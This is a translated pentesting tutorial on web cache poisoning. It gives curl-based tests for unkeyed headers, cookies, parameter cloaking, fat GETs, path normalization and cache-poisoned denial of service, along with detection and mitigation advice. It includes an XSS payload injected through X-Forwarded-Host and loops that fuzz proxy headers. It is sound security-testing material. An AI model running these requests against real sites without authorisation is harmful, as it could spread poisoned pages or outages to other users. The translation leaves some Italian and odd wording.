Web Cache Poisoning: Testing, Cache Keys, and Bypass Techniques

Practical guide to Web Cache Poisoning in pentesting: analyze cache keys and unkeyed inputs, test headers and fat GETs with Burp, and apply useful detection and mitigations.
- Posted on 2026-08-03
- Reading time: 19 min
Web Cache Poisoning: How to Test and Poison an HTTP Cache #
TL;DR: Web cache poisoning occurs when user-controlled input modifies the response generated by the server, but is not included in the cache key. The altered response is then stored and served to other users. To confirm the vulnerability, you must locate a cacheable resource, isolate the test, find input not included in the key, and demonstrate that a clean request still receives the poisoned content.
Web Cache Poisoning , often shortened to Cache Poisoning , is a vulnerability that allows an attacker to insert a modified response into the HTTP cache.
When another user visits the same page, the CDN or reverse proxy can return the poisoned response without querying the application server again.
The impact depends on how the controlled input is incorporated into the response. A successful attack can deliver:
- false content;
- redirect to external domains;
- Controlled absolute URLs;
- JavaScript files loaded from an external server;
- persistent errors;
- incorrect configurations;
- denial of service;
- a Cross-Site Scripting distributed to multiple users.
Cache poisoning affects HTTP caches in CDNs, reverse proxies, gateways, and applications. It should not be confused with DNS cache poisoning or direct modification of databases like Redis and Memcached.
The reference specification for HTTP cache behavior is RFC 9111.
How does an HTTP cache work? #
A cache is typically located between the client and the application server:
Browser
↓
CDN o reverse proxy
↓
Server applicativoWhen a resource is requested for the first time:
GET /news HTTP/1.1
Host: target.exampleThe cache may not yet have a copy of the response:
Cache MISSThe request is forwarded to the backend, which generates the page. If the response meets the caching criteria, it is stored.
A subsequent request considered equivalent can directly receive the saved copy:
Cache HITThe backend is not necessarily contacted.
To better understand methods, headers, requests and responses, also consult the Hackita guide to port 80 and the HTTP protocol.
What is the cache key? #
The cache key is the identifier used by the cache to decide whether two requests should share the same response.
A cache key may include:
metodo HTTP
schema
hostname
porta
path
query string
header selezionati
cookie selezionatiThe actual composition depends on the CDN, reverse proxy and the applied configuration.
Simplified example:
GET + https + target.example + /products?id=10Two requests can contain different headers and cookies, but be considered equivalent if those values are not included in the key cache.
A value that affects the response but not the key is often called unkeyed input.
Input controllabile
+
Modifica la risposta
+
Non modifica la cache key
+
Risposta cacheabile
=
Web Cache PoisoningSimple Example of Cache Poisoning #
Consider these requests:
GET / HTTP/1.1
Host: target.exampleGET / HTTP/1.1
Host: target.example
X-Forwarded-Host: cache-test.exampleThe cache may use only the hostname and path to build the key.
The backend could instead use X-Forwarded-Host to create an absolute URL:
<script src="https://cache-test.example/static/app.js"></script>If the response is stored with the same key as the normal request, a user who does not send the header may still receive:
<script src="https://cache-test.example/static/app.js"></script>Vulnerability exists because X-Forwarded-Host:
- is controlled by the client;
- influences the response;
- does not differentiate cache entry;
- produces a memorable response.
Cache Poisoning and Web Cache Deception: Differences #
The two techniques involve a cache, but have different goals.
| Technology | Target |
|---|---|
| Web Cache Poisoning | Store a corrupted response and distribute it to other users |
| Web Cache Deception | Trick the cache into storing a private response from the victim |
| Cache Poisoned DoS | Store an error response and cause unavailability |
| Browser Cache Poisoning | Altering a response stored in the browser's private cache |
In Cache Poisoning the attacker influences the contents.
In Cache Deception, the response normally contains legitimate data, but it should not have been saved in a shared cache.
What conditions are needed? #
To confirm Web Cache Poisoning, four conditions are usually needed:
| Condition | How to check it |
|---|---|
| The resource is cacheable | The response changes from MISS to HIT or increases Age |
| There is a controllable input | Header, cookie, parameter, body or path |
| Input changes response | A marker appears in the body or headers |
| The input is not part of the key | The marker remains in the response when the input is removed |
The mere presence of a CDN does not prove vulnerability.
Just reflecting a header does not prove that the response is stored.
Un X-Cache: HIT does not demonstrate that the poisoned content is being served to other users.
What are Oracle Cache and Gadget Cache? #
Oracle cache #
An oracle cache is a page or resource that allows you to reliably observe the behavior of the cache.
A good oracle cache:
- it is accessible without destructive effects;
- it is quickly memorized;
- exposes
Age,X-Cacheor equivalent indicators; - allows you to isolate the cache key;
- has a TTL long enough to perform the test;
- does not contain personal data.
Gadget cache #
A cache gadget is a backend behavior that allows a controlled input to modify the response.
Examples:
- a header modifies an absolute URL;
- a cookie changes the content of the page;
- a parameter is reflected in JavaScript;
- the port modifies a redirect;
- the body of a GET changes the response;
- an alternate path causes a cacheable error.
Cache Poisoning typically requires both:
Cache oracle
+
Gadget controllabile
=
Possibile exploitHow to recognize a memorized answer? #
Check the headers:
Age
X-Cache
X-Cache-Hits
CF-Cache-Status
X-Served-By
Via
Server-Timing
Cache-Control
VaryExample:
HTTP/2 200 OK
Cache-Control: public, max-age=300
Age: 28
X-Cache: HIT
Via: 1.1 varnishFrequent values:
HIT
MISS
BYPASS
DYNAMIC
EXPIRED
REVALIDATED
STALEThe precise names and meanings depend on the technology.
The absence of an explicit header doesn't mean the cache doesn't exist. You can compare:
- latency;
- header
Date; - value
Age; - returned content;
- TTL observed;
- behavior after identical requests;
- differences using a cache buster.
Repeated test #
URL="https://target.example/page?cb=test-a83f10"
for i in 1 2 3; do
echo "=== REQUEST $i ==="
curl -sk -o /dev/null -D - "$URL" |
grep -Ei \
'^(HTTP/|age:|x-cache:|x-cache-hits:|cf-cache-status:|via:|cache-control:|vary:|date:)'
sleep 2
doneA passage from MISS a HIT It's a useful indicator, but you also need to check the body.
How to interpret Cache-Control? #
The main directives must not be confused.
| Directive | Meaning |
|---|---|
no-store | The answer does not need to be memorized |
no-cache | The response can be saved, but must be validated before reuse. |
private | The response must not be saved from shared caches |
public | Explicitly allow shared storage |
max-age | Duration of freshness in seconds |
s-maxage | Specific TTL for shared caches |
must-revalidate | After expiration it requires validation |
stale-while-revalidate | Allows you to temporarily serve expired content during validation |
stale-if-error | Allows serving an expired copy if origin fails |
This response can be stored, despite the name of the directive:
Cache-Control: no-cacheThis instead indicates that the content should not be stored:
Cache-Control: no-storeHow does Vary work? #
The header Vary indicates which request headers should be compared when a cache decides whether to reuse a response.
Example:
Vary: Accept-EncodingThe cache can store different variants for:
Accept-Encoding: gzip
Accept-Encoding: brAnother example:
Vary: Accept-LanguageThe Italian answer can be separated from the English one.
Vary does not automatically fix Cache Poisoning. If the backend uses X-Forwarded-Host but the cache varies only for Accept-Encoding, the proxy header may be excluded from matching.
A value listed in Vary It can also be used for targeted poisoning of a specific browser, language, or user agent.
Safe testing: use a harmless marker first #
Cache poisoning can modify a response shared with real users.
Don't start testing on the production home page and don't immediately use JavaScript.
Use a harmless marker:
cache-test-a83f10.exampleAvoid initially:
<script>alert(document.cookie)</script>First you just have to prove that:
- the marker modifies the response;
- the answer is stored;
- a clean request receives the same marker.
Is the cache buster actually included in the key? #
A random parameter is often used to isolate the test:
?cb=a83f10However, you should not assume that the parameter participates in the key cache.
Check it with different values:
URL="https://target.example/page"
curl -sk -D /tmp/cb-a.headers \
-o /tmp/cb-a.body \
"$URL?cb=aaa111"
curl -sk -D /tmp/cb-b.headers \
-o /tmp/cb-b.body \
"$URL?cb=bbb222"Compare:
diff -u /tmp/cb-a.headers /tmp/cb-b.headers
diff -u /tmp/cb-a.body /tmp/cb-b.bodyRepeat each variation several times.
If requests with different cache busters receive the same entry, the query string or parameter may be excluded from the key.
In that case, stop testing the shared resource.
Correct A/B/A/B workflow #
This is the most reliable method to confirm the vulnerability.
URL="https://target.example/page"
KEY="cb-$(openssl rand -hex 6)"
CLEAN_KEY="cb-$(openssl rand -hex 6)"
MARKER="cache-test-$(openssl rand -hex 6).example"A — Isolated Baseline #
curl -sk \
-D /tmp/a.headers \
-o /tmp/a.body \
"$URL?cb=$KEY"The marker must not appear:
grep -Rni "$MARKER" /tmp/a.headers /tmp/a.bodyB — Request with controlled input #
curl -sk \
-D /tmp/b.headers \
-o /tmp/b.body \
-H "X-Forwarded-Host: $MARKER" \
"$URL?cb=$KEY"Verify that the marker changes the response:
grep -Rni "$MARKER" /tmp/b.headers /tmp/b.bodyA2 — Clean request on the same key #
curl -sk \
-D /tmp/a2.headers \
-o /tmp/a2.body \
"$URL?cb=$KEY"Confirm that the marker is still present:
grep -Rni "$MARKER" /tmp/a2.headers /tmp/a2.bodyCheck also:
grep -Ei \
'^(age|x-cache|x-cache-hits|cf-cache-status|via|cache-control|vary):' \
/tmp/a2.headersC — Different control key #
curl -sk \
-D /tmp/c.headers \
-o /tmp/c.body \
"$URL?cb=$CLEAN_KEY"The marker must not be present:
grep -Rni "$MARKER" /tmp/c.headers /tmp/c.bodyResult compatible with Cache Poisoning:
A → risposta pulita
B → marker nella risposta
A2 → marker ancora presente senza header
C → risposta pulita con una chiave differenteTechnique 1 — Headers not included in the key cache #
The most interesting headers depend on the infrastructure.
Frequent candidates:
X-Forwarded-Host
X-Host
X-Forwarded-Server
Forwarded
X-Forwarded-Proto
X-Forwarded-Scheme
X-Original-URL
X-Rewrite-URL
X-HTTP-Method-Override
X-Forwarded-PortDon't send them all at once.
Edit only one header at a time to identify the one responsible for the difference.
X-Forwarded-Host #
BUSTER="cb-$(openssl rand -hex 6)"
MARKER="cache-test-$(openssl rand -hex 6).example"
curl -sk \
-D /tmp/xfh.headers \
-o /tmp/xfh.body \
-H "X-Forwarded-Host: $MARKER" \
"https://target.example/?cb=$BUSTER"Find the marker:
grep -Rni "$MARKER" /tmp/xfh.headers /tmp/xfh.bodyMay appear in:
<link rel="canonical" href="https://cache-test.example/"><meta property="og:url" content="https://cache-test.example/"><script src="https://cache-test.example/static/app.js"></script>Or in a redirect:
Location: https://cache-test.example/loginRepeat without header:
curl -sk \
-D /tmp/xfh-clean.headers \
-o /tmp/xfh-clean.body \
"https://target.example/?cb=$BUSTER"If the marker remains present, check the cache status.
When a controlled value is inserted into the response headers, the problem can be linked to an HTTP Header Injection or a CRLF Injection.
Technique 2 — Host header and host override #
The normal header Host It generally participates in routing and key caching, but complex infrastructures can have different behaviors between edges and origins.
Controlled example:
GET / HTTP/1.1
Host: target.example
X-Host: cache-test.exampleOther possible headers:
X-Forwarded-Host
X-Host
X-HTTP-Host-Override
Forwarded: host=cache-test.exampleThe test is relevant when the backend uses the alternate host to generate:
- Canonical URLs;
- absolute links;
- Reset URL;
- redirect;
- resource import;
- Open Graph references.
A simple one:
curl -H "Host: cache-test.example" https://TARGET/does not alone demonstrate Cache Poisoning.
You must always complete the A/B/A workflow.
Technique 3 — Protocol, port and redirect #
Some applications rely on proxy headers to determine the original scheme and port.
Payloads:
X-Forwarded-Proto: http
X-Forwarded-Scheme: http
X-Forwarded-Ssl: off
Front-End-Https: off
X-Forwarded-Port: 1337Example:
curl -sk -i \
-H "X-Forwarded-Proto: http" \
"https://target.example/?cb=a83f10"Possible outcome:
HTTP/2 301
Location: http://target.example/With altered door:
curl -sk -i \
-H "X-Forwarded-Port: 1337" \
"https://target.example/?cb=a83f10"Possible redirect:
Location: https://target.example:1337/loginIf the redirect is remembered and the port or protocol does not participate in the key, users may receive the wrong destination.
If the destination is controllable, the impact can be chained with an Open Redirect.
Technique 4 — Cookie not included in the cache key #
Cookies can modify:
- tongue;
- currency;
- theme;
- variant A/B;
- device;
- banner;
- frontend configurations.
Example:
Cookie: language=itTest:
BUSTER="cb-$(openssl rand -hex 6)"
curl -sk \
-D /tmp/cookie.headers \
-o /tmp/cookie.body \
-H "Cookie: language=it" \
"https://target.example/article?$BUSTER"
curl -sk \
-D /tmp/cookie-clean.headers \
-o /tmp/cookie-clean.body \
"https://target.example/article?$BUSTER"
diff -u /tmp/cookie.body /tmp/cookie-clean.bodyThe vulnerability is confirmed only if:
- the cookie modifies the response;
- the answer is stored;
- the variant is returned without cookies;
- The clean request shares the same cache key.
Check also:
Vary: CookieMany caches do not include the entire header Cookie in the key because it would produce a huge number of variants.
Technique 5 — Query string completely excluded #
Some caches ignore the entire query string.
Compare:
/page?value=one
/page?value=twoIf both requests share the same entry but the backend mirrors the query, it may be possible to poison the base version of /page.
Test:
curl -sk \
-D /tmp/query-one.headers \
-o /tmp/query-one.body \
"https://target.example/page?value=cache-test-one"
curl -sk \
-D /tmp/query-two.headers \
-o /tmp/query-two.body \
"https://target.example/page?value=cache-test-two"Repeat the requests in a different order and check which value remains in the cache.
This test is risky because a cache buster in the query could be ignored. Only run it on an isolated endpoint or in a lab.
Technique 6 — Parameter excluded from key cache #
CDNs and reverse proxies can exclude parameters used for analytics:
utm_source
utm_medium
utm_campaign
utm_content
fbclid
gclidThe backend may still read or reflect them.
Example:
/search?q=phone&utm_content=cache-testTest:
curl -sk \
-D /tmp/utm-one.headers \
-o /tmp/utm-one.body \
"https://target.example/search?q=phone&utm_content=one"
curl -sk \
-D /tmp/utm-clean.headers \
-o /tmp/utm-clean.body \
"https://target.example/search?q=phone"Se utm_content is excluded from the key and the value one remains in the clean response, the parameter is a possible vector.
Technique 7 — Cache parameter cloaking #
Parameter cloaking exploits differences in parsing between the cache and the backend.
Example:
?utm_content=abc;callback=cache-testThe cache might interpret:
utm_content = abc;callback=cache-testand ignore the whole parameter because utm_content is excluded from the key.
The backend might instead interpret:
utm_content = abc
callback = cache-testVariants to compare:
?utm_content=abc;callback=one
?utm_content=abc%3Bcallback=two
?utm_content=abc&callback=three
?utm_content=abc%26callback=fourTest:
curl -sk \
--path-as-is \
-D /tmp/cloak.headers \
-o /tmp/cloak.body \
"https://target.example/?utm_content=abc;callback=cache-test"There is no universal separator.
The result depends on:
- language;
- framework;
- reverse proxy;
- cache parser;
- URL normalization;
- decoding applied.
Technique 8 — Fat GET #
A fat GET is a GET request with a body.
GET /preferences HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
language=cache-testMany caches construct the key without considering the GET body.
Some backends, instead, process that body.
Test:
BUSTER="cb-$(openssl rand -hex 6)"
curl -sk \
-X GET \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "language=cache-test" \
-D /tmp/fat-get.headers \
-o /tmp/fat-get.body \
"https://target.example/preferences?$BUSTER"Clean request:
curl -sk \
-D /tmp/fat-get-clean.headers \
-o /tmp/fat-get-clean.body \
"https://target.example/preferences?$BUSTER"Compare:
diff -u /tmp/fat-get.body /tmp/fat-get-clean.bodyThe test is only valid if the body actually influences the response.
Technique 9 — Method override #
Some frameworks support:
X-HTTP-Method-Override: POST
X-HTTP-Method: POST
X-Method-Override: POSTExample:
curl -sk \
-H "X-HTTP-Method-Override: POST" \
"https://target.example/resource?cb=a83f10"The backend may treat the request as a POST, while the cache still treats it as a GET.
Possible consequence:
cache key GET
+
risposta generata dal percorso POST
=
risposta sbagliata salvata come GETThe test is only relevant when the application supports method override.
Technique 10 — Unkeyed port #
In some configurations, the cache normalizes or removes the port from the key while the backend uses it to generate the response.
Request:
GET / HTTP/1.1
Host: target.example:1337Possible answer:
Location: https://target.example:1337/loginWith HTTP/1.1 and an explicit destination IP:
curl -sk -i \
--resolve target.example:443:192.0.2.10 \
-H "Host: target.example:1337" \
https://target.example/Do not run the test if the header Host altered is used for routing to different virtual hosts.
Technique 11 — Normalized cache key #
The cache can normalize the path before creating the key, while the backend reflects or interprets the original path.
Variants:
/page
//page
/./page
/page/
/page%2f
/page%2e
/page;test
/%70ageTest:
curl -sk -i \
--path-as-is \
"https://target.example/./page?cb=a83f10"Automatic comparison:
paths=(
"/page"
"//page"
"/./page"
"/page/"
"/page%2f"
"/page;test"
)
for path in "${paths[@]}"; do
curl -sk \
--path-as-is \
-o "/tmp/path-$(echo "$path" | tr '/%' '__').body" \
-w "$path -> %{http_code} %{size_download}\n" \
"https://target.example$path?cb=a83f10"
doneThe problem can occur in two directions:
- different paths are normalized to the same key;
- the same logical path produces different keys between cache and backend.
Technique 12 — Cache key injection #
Cache key injection occurs when a controlled value is inserted into the key without unambiguous separation or encoding.
Conceptual example:
chiave = host + path + parametroIf components are concatenated without safe delimiters:
host=a
path=/bccould produce the same representation as:
host=ab
path=/cOther possible problems:
- newline in value;
- unescaped delimiters;
- duplicate headers;
- different normalization;
- query-path collisions;
- percent encoding interpreted at different stages.
This scenario is advanced and completely implementation dependent.
You don't need to confirm just because a value is reflected: you need to demonstrate a reproducible collision between two different requests.
Technique 13 — Targeted Cache Poisoning #
A cache can create variants based on:
Vary: User-Agentor:
Vary: Accept-LanguageAn attacker could poison only the variant intended to:
- a specific browser;
- a mobile device;
- a language;
- a crawler;
- a specific group of users.
Example:
curl -sk \
-H "User-Agent: Mozilla/5.0 TARGET-UA" \
-H "X-Forwarded-Host: cache-test.example" \
"https://target.example/?cb=a83f10"The verification request must use the same User-Agent:
curl -sk \
-H "User-Agent: Mozilla/5.0 TARGET-UA" \
"https://target.example/?cb=a83f10"A request with a different user agent could receive a clean variant and produce a false negative.
Technique 14 — Internal Cache Poisoning #
An application can use multiple layers:
CDN esterno
↓
reverse proxy
↓
cache applicativa
↓
originA cache buster could isolate the external cache but not the internal cache.
Possible behavior:
/query?cb=one → CDN key differente
/query?cb=two → CDN key differente
Entrambe raggiungono la stessa entry nella cache internaIndicators:
- the marker appears on different cache busters;
- the edge returns MISS, but the body remains identical;
- the observed TTL does not match;
- external cache headers change, but the internal content does not;
- Behavior varies between PoPs.
To confirm an internal cache you must distinguish:
risposta prodotta dall’origin
risposta prodotta dalla cache applicativa
risposta prodotta dal CDNRecord headers, times and TTLs of each observable layer separately.
Technique 15 — Cache Poisoned Denial of Service #
Cache Poisoned DoS , abbreviated to CPDoS, occurs when an anomalous request causes an error response to be stored.
Possible causes:
- header too large;
- invalid port;
- abnormal path;
- method override;
- proxy header;
- backend error;
- unsupported method;
- inconsistent normalization.
Flow:
Richiesta anomala
↓
Backend genera 400, 403, 404 o 500
↓
La cache memorizza l’errore
↓
Gli utenti ricevono la risposta inutilizzabileHarmless test on a dedicated route:
BUSTER="cb-$(openssl rand -hex 6)"
curl -sk \
-D /tmp/cpdos.headers \
-o /tmp/cpdos.body \
-H "X-Forwarded-Port: invalid" \
"https://target.example/test-cache?$BUSTER"Repeat without header and see if the error persists.
Do not test CPDoS on home pages, login endpoints, or critical APIs without an agreed-upon window.
Technique 16 — Poisoning via errors and status codes #
A cache can store different statuses from 200 OK, depending on the configuration.
Possible answers:
301
302
404
410
500
503Check it out:
Cache-Control
Surrogate-Control
CDN-Cache-Control
Expires
AgeA temporary error can become persistent if the CDN assigns a TTL to errors.
Example:
curl -sk -i \
-H "X-Original-URL: /does-not-exist" \
"https://target.example/?cb=a83f10"Repeat without header and check if the 404 remains associated with the normal route.
Technique 17 — Poisoning via XSS #
Cache Poisoning can turn a reflex injection into a distributed vector.
Always use a marker first:
cache-test-a83f10Only after confirmation in the lab can you verify the HTML context:
"><script>alert(document.domain)</script>Conceptual example:
curl -sk \
-H 'X-Forwarded-Host: "><script>alert(document.domain)</script>' \
"https://target.example/?cb=a83f10"The presence of the payload in the body is not enough.
You must demonstrate:
- executable context;
- no encoding;
- stored response;
- clean request that receives the payload;
- CSP and browser compatibility.
For payloads, contexts and bypasses see the dedicated XSS article.
Technique 18 — Concatenation with HTTP Request Smuggling #
HTTP Request Smuggling exploits a difference in how the front-end and back-end delimit requests.
When a cache is involved, smuggling can:
- associate a response with the wrong path;
- contaminate the response of the next request;
- poison a cache entry;
- bypass the expected cache key.
This workflow is not equivalent to regular Cache Poisoning via headers.
Requires:
- at least two HTTP parsers;
- a real desynchronization;
- control the order of requests;
- confirmation of the answer associated with the wrong key.
Do not add CL.TE or TE.CL payloads to this article: they should remain in the specific Request Smuggling guide to avoid cannibalization and technical confusion.
Param Miner with Burp Suite #
Param Miner is a Burp Suite extension useful for detecting hidden inputs.
You can search for:
- undocumented headers;
- query parameter;
- cookies;
- inputs potentially excluded from the key cache;
- parameter cloaking;
- fat GET;
- cache poisoning based on minimal variations.
Workflow:
1. Trova una cache oracle.
2. Invia la richiesta al Repeater.
3. Aggiungi un cache buster verificato.
4. Clic destro sulla richiesta.
5. Guess headers o Guess GET parameters.
6. Analizza le differenze rilevate.
7. Sostituisci il valore con un marker innocuo.
8. Esegui il workflow A/B/A.
9. Conferma manualmente cache HIT e persistenza.Don't consider every Param Miner result as a vulnerability.
The extension identifies inputs that modify the response. You still need to prove that the input doesn't change the cache key.
The complete methodology and labs are available in PortSwigger's Web Security Academy.
Manual header testing #
Precautionary initial list:
headers=(
"X-Forwarded-Host"
"X-Host"
"X-Forwarded-Server"
"X-Forwarded-Proto"
"X-Forwarded-Scheme"
"X-Forwarded-Port"
"X-Original-URL"
"X-Rewrite-URL"
"X-HTTP-Method-Override"
)
URL="https://target.example/page"
BUSTER="cb-$(openssl rand -hex 6)"
MARKER="cache-test-$(openssl rand -hex 6).example"
for header in "${headers[@]}"; do
safe_name=$(echo "$header" | tr '[:upper:]' '[:lower:]')
curl -sk \
-D "/tmp/$safe_name.headers" \
-o "/tmp/$safe_name.body" \
-H "$header: $MARKER" \
"$URL?$BUSTER"
if grep -Rqi "$MARKER" \
"/tmp/$safe_name.headers" \
"/tmp/$safe_name.body"; then
echo "[+] $header modifica la risposta"
else
echo "[-] $header non riflesso"
fi
doneThis script only identifies differences or reflections.
Does not confirm marker caching.
Prerequisite, test and result matrix #
| Prerequisite | Test | Useful result |
|---|---|---|
| Cacheable resource | Repeat the same request | MISS followed by HIT |
| Isolatable cache key | Change cache buster | Different entries |
| Header interpreted | Insert marker | Marker in the response |
| Header not included | Remove header | Marker still present |
| Query excluded | Change parameter | Same entry reused |
| Cookie excluded | Remove cookies | Variant still returned |
| Fat GET processed | GET with body | Edited answer |
| Internal cache | Change external key | Marker persists between different keys |
| CPDoS | Generates harmless error | Error returned on clean request |
What each test supports and what it does not support #
| Observation | What it proves | What it doesn't prove |
|---|---|---|
X-Cache: HIT | A response was reused | The content is poisoned |
| Reflected marker | The backend uses the input | The marker is stored |
| Marker after clean request | Possible poisoning | May it reach all PoPs |
Age increases | Reused entry | What cache level produced it? |
Vary: Cookie | The cookie contributes to matching | That all cookies are included |
| Different queries are the same | Possible exclusion or normalization | Which parameter is ignored |
| Persistent error | Possible CPDoS | That the error is global |
| Latency difference | Possible cache | Final confirmation |
Common false positives #
Marker reflected but not stored #
This is a normal reflection or injection.
It's not Cache Poisoning.
HIT without marker #
The resource is stored, but the input does not influence the shared response.
Marker present only with the header #
The header could:
- be included in the key cache;
- produce a non-cacheable response;
- be processed after the observed level;
- create a separate variant.
Different Edge PoPs #
Two requests can reach different CDN nodes.
Compare:
X-Served-By
CF-Ray
X-Amz-Cf-Pop
Via
Server-TimingBrowser cache #
Use Burp Repeater or curl instead of the browser.
Legitimate customization #
Language, country, user agent, device, and A/B testing can produce predicted variations.
Check it out Vary, cookies and CDN configuration.
Internal cache #
A HIT observed in the body could come from:
- Redis;
- framework;
- microservice;
- internal reverse proxy;
- External CDN.
Identify the actual level.
State response #
The cache may serve an expired response via:
stale-while-revalidate
stale-if-errorContent may appear persistent even if the entry has technically expired.
Common mistakes during testing #
Every request returns MISS #
Possible causes:
Cache-Control: private;Cache-Control: no-store;- presence of
Authorization; - session cookies;
- non-cacheable status;
- always different query;
- very short TTL;
- CDN bypassed;
- too big response;
- unsupported method;
- cache rule not applied.
The marker does not appear #
Possible causes:
- header ignored;
- value overwritten by proxy;
- input not used by the backend;
- response taken from cache before reaching origin;
- encoding;
- reflection present in another route;
- request sent to the wrong virtual host.
The marker appears but disappears immediately #
Possible causes:
- short TTL;
- cache revalidation;
- automatic invalidation;
- different edge node;
- response not stored;
Set-Cookie;Varycreate a different variant.
The cache buster does not isolate #
The query string or that parameter may be excluded from the key.
Do not continue on the shared route.
Cache-Control: no-cache but I see HIT
#
It's possible: no-cache allows storage, but requires validation before reuse.
The purge doesn't eliminate everything #
Possible causes:
- multilevel cache;
- different key;
- regional cache;
- browser cache;
- internal cache;
- purge for URLs that do not cover variants.
Detection #
Detection requires telemetry from:
- CDN;
- reverse proxy;
- WAF;
- origin;
- application cache;
- browser or RUM, when available.
Useful indicators:
X-Forwarded-Hostwith unauthorized domains;- proxy headers coming directly from the Internet;
X-Original-URLoX-Rewrite-URLsent by clients;- GET with body;
- method override on cacheable pages;
- anomalous doors in
Host; - analytics queries containing payloads;
- duplicate parameters or abnormal separators;
- requests with numerous cache busters;
- errors
400o500served as HIT; - HIT responses containing unknown domains;
- sudden changes in canonical URLs;
- purge spikes or invalidations;
- personalized responses served without cookies;
- discrepancies between URL received from the edge and URL sent to the origin.
Correlation:
Input anomalo
↓
Origin genera una risposta differente
↓
La cache salva la risposta
↓
Richieste pulite ricevono lo stesso contenutoUseful fields to record:
timestamp
request ID
edge PoP
cache status
cache key o suo hash
URL originale
URL normalizzato
header rimossi
header inoltrati
TTL
Age
origin status
response hashMitigations #
Store only truly shareable content #
Avoid generic rules like:
Cache everythingon pages that depend on:
- authentication;
- cookies;
- role;
- tenant;
- tongue;
- preferences;
- proxy header;
- dynamic queries;
- request body.
Remove client-provided proxy headers #
The reverse proxy must:
- remove untrusted external headers;
- regenerate the reliable values;
- forward only those produced by the infrastructure to the backend.
Examples:
X-Forwarded-Host
X-Forwarded-Proto
X-Forwarded-Port
X-Real-IP
Forwarded
X-Original-URLAlign cache key with origin behavior #
Any input capable of legitimately modifying the response must:
- be included in the key cache;
- create a variant via
Vary; - be normalized;
- or cause the cache to bypass.
Do not include unnecessary input in the key #
Caching every header in the key cache is not a good solution.
May cause:
- cache fragmentation;
- low hit ratio;
- memory consumption;
- involuntary bypasses;
- cache denial of service.
Include only inputs that actually need to produce variants.
Using Cache-Control Correctly #
Sensitive content:
Cache-Control: no-storePersonal content that can only be stored by the browser:
Cache-Control: privatePublic content:
Cache-Control: public, max-age=300Shared cache with specific TTL:
Cache-Control: public, max-age=60, s-maxage=300Avoid bodies in cacheable GETs #
If the body modifies the response:
- use POST;
- disable caching;
- or set up a key that securely represents the content.
Consistent normalization #
Edge, WAF, proxy and backend must interpret the same:
path
slash multipli
dot segment
percent encoding
query string
ordine dei parametri
parametri duplicati
punto e virgola
porta
hostname
maiuscole e minuscoleThe URL used for the key must be consistent with the one sent to the origin.
Separate public and private content #
Do not use the same route for:
pagina pubblica
pagina autenticata
risposta personalizzata
risposta amministrativawithout an explicit caching strategy.
Don't memorize mistakes indiscriminately #
Define conservative TTLs for:
400
403
404
500
502
503and verify that untrusted inputs cannot create shared errors.
Defense in depth #
A Content Security Policy does not fix Cache Poisoning, but it can reduce the impact of poisoned JavaScript.
Actionable recommendations for avoiding poisoning and aligning URLs and cache keys are also described in the Cloudflare guide on avoiding Web Cache Poisoning.
Cleanup #
When you have access to the CDN platform use:
purge URL
purge cache key
invalidate path
purge tag
purge prefixRegister:
URL avvelenata
cache key
marker
TTL
PoP coinvolti
orario del test
metodo di purge
orario della verifica finaleAfter the purge:
curl -sk \
-D /tmp/cleanup.headers \
-o /tmp/cleanup.body \
"https://target.example/page?cb=a83f10"
grep -Rni \
"cache-test" \
/tmp/cleanup.headers \
/tmp/cleanup.bodyNo result simply proves that that specific variant does not contain the marker.
Repeat the check:
- without cache buster;
- with variants defined by
Vary; - from different PoPs, when possible;
- on the internal cache;
- after the TTL expires.
Remove local artifacts:
rm -f /tmp/*.headers
rm -f /tmp/*.bodyLaboratory environment to be documented #
To make your finding verifiable and citable, record:
Data del test:
Sistema operativo tester:
Versione Burp Suite:
Versione Param Miner:
Protocollo HTTP:
CDN o reverse proxy:
Origin server:
Endpoint:
Cache status osservati:
TTL:
Header Vary:
Cache-Control:
Cache buster:
Marker:
PoP:Example:
Data: 13 luglio 2026
Client: Kali Linux
HTTP: HTTP/2 verso edge, HTTP/1.1 verso origin
Cache: reverse proxy identificato tramite Via
Endpoint: /news
TTL: 300 secondi
Input: X-Forwarded-Host
Marker: cache-test-a83f10.example
Conferma: marker presente nella richiesta pulita con Age: 19
Cleanup: purge della singola URLUse only values actually observed in your laboratory.
How to document the finding #
A complete report should contain:
| Countryside | Information |
|---|---|
| Endpoint | Vulnerable URL |
| Cache level | CDN, proxy or internal cache |
| Oracle cache | Resource used to observe behavior |
| Cache key | Confirmed or deduced components |
| Input | Header, cookie, parameter or body |
| Gadget | How input changes response |
| Testing caching | HIT, Age or equivalent behavior |
| Clean request | Proof that it still receives the marker |
| TTL | Observed duration |
| Scope | PoP, language, browser or variant |
| Impact | Redirect, XSS, DoS or altered content |
| Cleanup | Purge and final verification |
Minimum sequence:
Richiesta baseline
Richiesta con marker
Risposta alterata
Richiesta pulita
Risposta ancora alterata
Prova di cache HIT
Richiesta con cache key differente
Risposta pulitaFAQ #
What is Web Cache Poisoning? #
Web Cache Poisoning is a vulnerability in which user-controlled input modifies a response stored by an HTTP cache. If the input is not included in the cache key, subsequent requests deemed equivalent may receive the altered response even without containing the original payload.
How do you check if a page is cached? #
Repeat the same request and check headers like Age, X-Cache, CF-Cache-Status, Via e X-Served-ByA transition from MISS to HIT is indicative. In the absence of diagnostic headers, compare latency, content, TTL, and behavior using an isolated key cache.
Which headers are tested for Cache Poisoning? #
The most common candidates include X-Forwarded-Host, X-Forwarded-Proto, X-Forwarded-Port, Forwarded, X-Original-URL, X-Rewrite-URL and method override headers. None are automatically vulnerable: you have to demonstrate that it modifies the response and doesn't differentiate the cache key.
How is vulnerability actually confirmed? #
Confirmation requires a request with a marker that modifies the response, followed by a clean request to the same cache key. If the clean request still receives the marker and the response comes from the cache, while a different cache key remains clean, poisoning is proven.
What is the difference between Cache Poisoning and Cache Deception? #
In cache poisoning, the attacker caches a modified response for distribution to other users. In cache deception, the attacker tricks an authenticated victim into generating a private response, which is mistakenly stored as public and retrieved later.
Does an X-Cache HIT confirm Cache Poisoning? #
No. A HIT only proves that a response was reused from the cache. You must also prove that the checked marker was stored and that a request without a payload receives the same tampered response.
Cache-Control no-cache prevents caching? #
No. no-cache allows storage, but requires validation before reuse. The directive prohibiting storage is no-store. private Instead, it normally prevents storage in shared caches.
What is parameter cloaking? #
It's a technique that exploits a difference in parameter parsing between the cache and the backend. The cache may treat a hidden parameter as part of a parameter excluded from the key, while the backend interprets it separately and uses it to modify the response.
What is a fat GET? #
